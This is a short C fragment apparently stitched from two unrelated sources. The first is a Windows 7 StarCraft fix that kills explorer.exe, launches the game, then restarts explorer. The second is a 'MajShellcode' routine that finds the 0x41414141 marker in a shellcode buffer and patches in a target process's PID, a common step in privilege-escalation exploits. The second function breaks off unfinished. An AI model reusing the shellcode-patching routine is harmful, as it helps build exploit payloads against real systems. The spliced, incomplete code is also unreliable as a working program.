/* * Apply Starcraft fix in Windows 7 * */ static BOOL DoScFix() { DWORD pid = -1; BOOL status = TRUE; TCHAR szPath[MAX_PATH] = {0}; TCHAR szCmdLine[MAX_PATH] = {0}; if (IsWin7OrLater()) { while (TRUE) { pid = GetPidByName(TEXT("explorer.exe")); if (pid == -1) break; status = KillProcessByPid(pid); } if (status) { status = StartAndWaitForProcess(TEXT("StarCraft.exe")); GetWindowsDirectory(szPath, MAX_PATH); _tcscpy_s(szCmdLine, MAX_PATH, szPath); _tcscat_s(szCmdLine, MAX_PATH, TEXT("\\explorer.exe")); status = StartProcess(szCmdLine, szPath); } } else { status = StartProcess(TEXT("StarCraft.exe"), NULL); } return status; }
void MajShellcode(char * ProcessName){ DWORD ProcessID; DWORD MagicWord = 0x41414141; int i; ProcessID = GetPidByName(ProcessName); for (i=0; i<sizeof(ShellcodeMaster); i++) { if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) { ShellcodeMaster[i] = (DWORD) ProcessID & 0x000000FF; ShellcodeMaster[i+1] = ((DWORD) ProcessID & 0x0000FF00) >> 8; ShellcodeMaster[i+2] = ((DWORD) ProcessID & 0x00FF0000) >> 16; ShellcodeMaster[i+3] = ((DWORD) ProcessID & 0xFF000000) >> 24; printf("Shellcode PID Uploaded !\n"); return; } }